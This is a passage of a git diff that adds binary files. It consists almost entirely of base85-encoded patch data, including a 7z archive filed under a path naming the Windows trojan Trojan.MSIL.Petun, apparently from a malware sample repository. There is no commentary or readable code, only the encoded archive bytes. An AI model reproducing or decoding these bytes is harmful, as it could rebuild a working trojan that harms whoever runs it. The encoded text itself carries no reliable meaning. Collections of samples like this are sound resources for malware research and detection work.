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 literal 0 HcmV?d00001 diff --git a/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-f6.7z b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-f6.7z new file mode 100644 index 0000000000000000000000000000000000000000..f995622b738172ae6e41419bf8df15d79a40c1e2 GIT binary patch literal 17262 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 